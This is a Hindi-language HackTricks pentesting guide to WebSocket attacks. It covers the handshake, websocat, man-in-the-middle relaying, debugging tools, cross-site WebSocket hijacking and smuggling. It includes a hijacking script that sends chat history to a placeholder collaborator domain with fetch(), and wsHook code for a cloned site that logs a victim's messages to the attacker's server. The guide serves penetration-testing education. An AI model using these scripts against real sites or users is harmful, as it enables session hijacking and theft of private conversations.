hacktricks/pentesting-web/websocket-attacks.md

21 KiB

WebSocket हमले

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

WebSockets क्या हैं

WebSocket कनेक्शन HTTP के ऊपर शुरू किए जाते हैं और आमतौर पर लंबे समय तक चलते हैं। संदेश किसी भी समय किसी भी दिशा में भेजे जा सकते हैं और ये लेन-देन की प्रकृति के नहीं होते। कनेक्शन सामान्यतः खुला और निष्क्रिय रहता है जब तक कि क्लाइंट या सर्वर में से कोई एक संदेश भेजने के लिए तैयार न हो।
WebSockets विशेष रूप से उन परिस्थितियों में उपयोगी होते हैं जहां कम-विलंबता या सर्वर-प्रेरित संदेश की आवश्यकता होती है, जैसे कि वित्तीय डेटा की वास्तविक समय की फीड्स।

WebSocket कनेक्शन कैसे स्थापित किए जाते हैं?

(यहां आपको एक सारांश मिलेगा लेकिन एक वेब सॉकेट कनेक्शन कैसे बनाया जाता है के बारे में अधिक विस्तृत गाइड आप यहां पा सकते हैं।)
WebSocket कनेक्शन सामान्यतः निम्नलिखित जैसे क्लाइंट-साइड JavaScript का उपयोग करके बनाए जाते हैं:

var ws = new WebSocket("wss://normal-website.com/ws");

wss प्रोटोकॉल एक एन्क्रिप्टेड TLS कनेक्शन पर WebSocket स्थापित करता है, जबकि ws प्रोटोकॉल एक अनएन्क्रिप्टेड कनेक्शन का उपयोग करता है।

कनेक्शन स्थापित करने के लिए, ब्राउज़र और सर्वर HTTP पर एक WebSocket हैंडशेक करते हैं। ब्राउज़र निम्नलिखित जैसा एक WebSocket हैंडशेक अनुरोध जारी करता है:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

यदि सर्वर कनेक्शन को स्वीकार करता है, तो वह निम्नलिखित जैसा WebSocket हैंडशेक प्रतिसाद लौटाता है:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

इस बिंदु पर, नेटवर्क कनेक्शन खुला रहता है और इसका उपयोग दोनों दिशाओं में WebSocket संदेश भेजने के लिए किया जा सकता है।

ध्यान दें

WebSocket handshake संदेशों की कई विशेषताएं ध्यान देने योग्य हैं:

  • अनुरोध और प्रतिक्रिया में Connection और Upgrade हेडर्स इंगित करते हैं कि यह एक WebSocket handshake है।
  • Sec-WebSocket-Version अनुरोध हेडर उस WebSocket प्रोटोकॉल संस्करण को निर्दिष्ट करता है जिसका उपयोग क्लाइंट करना चाहता है। यह आमतौर पर 13 होता है।
  • Sec-WebSocket-Key अनुरोध हेडर में एक Base64-एन्कोडेड रैंडम मान होता है, जिसे प्रत्येक handshake अनुरोध में यादृच्छिक रूप से उत्पन्न किया जाना चाहिए।
  • Sec-WebSocket-Accept प्रतिक्रिया हेडर में Sec-WebSocket-Key अनुरोध हेडर में प्रस्तुत मान का एक हैश होता है, जिसे प्रोटोकॉल विनिर्देश में परिभाषित एक विशिष्ट स्ट्रिंग के साथ जोड़ा जाता है। यह गलत कॉन्फ़िगर सर्वरों या कैशिंग प्रॉक्सीज़ से भ्रामक प्रतिक्रियाओं को रोकने के लिए किया जाता है।

Sec-WebSocket-Key हेडर में एक रैंडम मान होता है ताकि कैशिंग प्रॉक्सीज़ से होने वाली त्रुटियों को रोका जा सके, और यह प्रमाणीकरण या सत्र संचालन उद्देश्यों के लिए उपयोग नहीं किया जाता है (यह CSRF टोकन नहीं है).

Linux कंसोल

आप websocat का उपयोग करके एक websocket के साथ एक कच्चा कनेक्शन स्थापित कर सकते हैं।

websocat --insecure wss://10.10.10.10:8000 -v

या websocat सर्वर बनाने के लिए:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket कनेक्शन

यदि आप पाते हैं कि क्लाइंट आपके वर्तमान स्थानीय नेटवर्क से HTTP websocket से जुड़े हुए हैं, तो आप ARP Spoofing Attack का प्रयास कर सकते हैं ताकि क्लाइंट और सर्वर के बीच MitM हमला कर सकें।
एक बार जब क्लाइंट आपसे जुड़ने की कोशिश करता है, तब आप उपयोग कर सकते हैं:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets की गणना

आप tool https://github.com/PalindromeLabs/STEWS का उपयोग करके websockets में ज्ञात vulnerabilities की खोज, फिंगरप्रिंट और खोज स्वचालित रूप से कर सकते हैं।

Websocket डीबग उपकरण

  • Burp Suite MitM websockets संचार का समर्थन करता है जिस तरह से यह सामान्य HTTP संचार के लिए करता है।
  • socketsleuth Burp Suite extension आपको Burp में Websocket संचार को बेहतर ढंग से प्रबंधित करने की अनुमति देगा, जिसमें history प्राप्त करना, interception rules सेट करना, match and replace नियमों का उपयोग करना, Intruder और AutoRepeater का उपयोग करना शामिल है।
  • WSSiP: "WebSocket/Socket.io Proxy" के लिए छोटा, यह उपकरण, Node.js में लिखा गया, एक यूजर इंटरफेस प्रदान करता है जो capture, intercept, send custom संदेश भेजने और सभी WebSocket और Socket.IO संचार को देखने के लिए क्लाइंट और सर्वर के बीच में होता है।
  • wsrepl एक interactive websocket REPL है जो विशेष रूप से पेनेट्रेशन टेस्टिंग के लिए डिजाइन किया गया है। यह एक इंटरफेस प्रदान करता है जो incoming websocket messages को देखने और नए संदेश भेजने के लिए होता है, इस संचार को automating करने के लिए एक आसान-से-उपयोग फ्रेमवर्क के साथ।
  • https://websocketking.com/ यह एक web to communicate है जो अन्य webs के साथ websockets का उपयोग करता है।
  • https://hoppscotch.io/realtime/websocket अन्य प्रकार के संचार/प्रोटोकॉल के बीच, यह एक web to communicate प्रदान करता है जो अन्य webs के साथ websockets का उपयोग करता है।

Websocket लैब

Burp-Suite-Extender-Montoya-Course में आपके पास websockets का उपयोग करके एक web लॉन्च करने के लिए कोड है और इस पोस्ट में आपको एक स्पष्टीकरण मिल सकता है।

Cross-site WebSocket hijacking (CSWSH)

इसे cross-origin WebSocket hijacking भी कहा जाता है।
यह एक Cross-Site Request Forgery (CSRF) WebSocket handshake पर होता है।

यह तब उत्पन्न होता है जब WebSocket handshake अनुरोध केवल HTTP cookies पर निर्भर करता है सत्र प्रबंधन के लिए और इसमें कोई CSRF टोकन या अन्य अप्रत्याशित मूल्य नहीं होते हैं
एक हमलावर अपने डोमेन पर एक malicious web page बना सकता है जो कमजोर एप्लिकेशन के साथ एक cross-site WebSocket कनेक्शन स्थापित करता है। एप्लिकेशन इस कनेक्शन को एप्लिकेशन के साथ पीड़ित उपयोगकर्ता के सत्र के context में संभालेगा

सरल हमला

ध्यान दें कि जब websocket कनेक्शन स्थापित करते हैं तो cookie सर्वर को भेजी जाती है। सर्वर इसका उपयोग प्रत्येक विशिष्ट उपयोगकर्ता को उसके websocket **session से जोड़ने के लिए कर सकता है जो भेजी गई cookie के आधार पर होता है।

फिर, अगर उदाहरण के लिए websocket server एक उपयोगकर्ता की बातचीत का इतिहास वापस भेजता है अगर एक संदेश "READY" भेजा जाता है, तो एक सरल XSS कनेक्शन स्थापित करना (cookie स्वचालित रूप से भेजी जाएगी पीड़ित उपयोगकर्ता को प्राधिकृत करने के लिए) "READY" भेजना बातचीत के इतिहास को प्राप्त करने में सक्षम होगा।

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

क्रॉस ओरिजिन + अलग सबडोमेन के साथ कुकी

इस ब्लॉग पोस्ट https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ में हमलावर ने एक सबडोमेन में मनमानी जावास्क्रिप्ट को निष्पादित करने का प्रबंधन किया, जो डोमेन के उस हिस्से में था जहां वेब सॉकेट संचार हो रहा था। चूंकि यह एक सबडोमेन था, कुकी भेजी जा रही थी, और चूंकि वेबसॉकेट ने ओरिजिन की जांच सही ढंग से नहीं की, इससे उसके साथ संवाद करना और उससे टोकन चुराना संभव हो गया।

उपयोगकर्ता से डेटा चुराना

जिस वेब एप्लिकेशन की आप नकल करना चाहते हैं (उदाहरण के लिए .html फाइलें) उसकी प्रतिलिपि बनाएं और जिस स्क्रिप्ट में वेबसॉकेट संचार हो रहा है उसमें यह कोड जोड़ें:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

अब https://github.com/skepticfx/wshook से wsHook.js फाइल डाउनलोड करें और इसे वेब फाइलों वाले फोल्डर में सेव करें
वेब एप्लिकेशन को उजागर करने और एक यूजर को इससे जोड़ने पर आप websocket के माध्यम से भेजे गए और प्राप्त संदेशों को चुरा सकेंगे:

sudo python3 -m http.server 80

रेस कंडीशन्स

WebSockets में भी रेस कंडीशन्स होते हैं, अधिक जानकारी के लिए यहाँ देखें

अन्य सुरक्षा भेद्यताएँ

चूंकि Web Sockets एक तंत्र हैं सर्वर साइड और क्लाइंट साइड को डेटा भेजने के लिए, इस पर निर्भर करता है कि सर्वर और क्लाइंट जानकारी को कैसे संभालते हैं, Web Sockets का उपयोग XSS, SQLi या किसी अन्य सामान्य वेब भेद्यता का शोषण करने के लिए किया जा सकता है जिसमें एक उपयोगकर्ता के websocket से इनपुट हो।

WebSocket Smuggling

यह भेद्यता आपको रिवर्स प्रॉक्सीज की पाबंदियों को बायपास करने की अनुमति दे सकती है उन्हें यह विश्वास दिलाकर कि एक websocket संचार स्थापित किया गया था (भले ही यह सच न हो)। इससे हमलावर को छिपे हुए एंडपॉइंट्स तक पहुँचने की अनुमति मिल सकती है। अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:

{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}

संदर्भ

{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: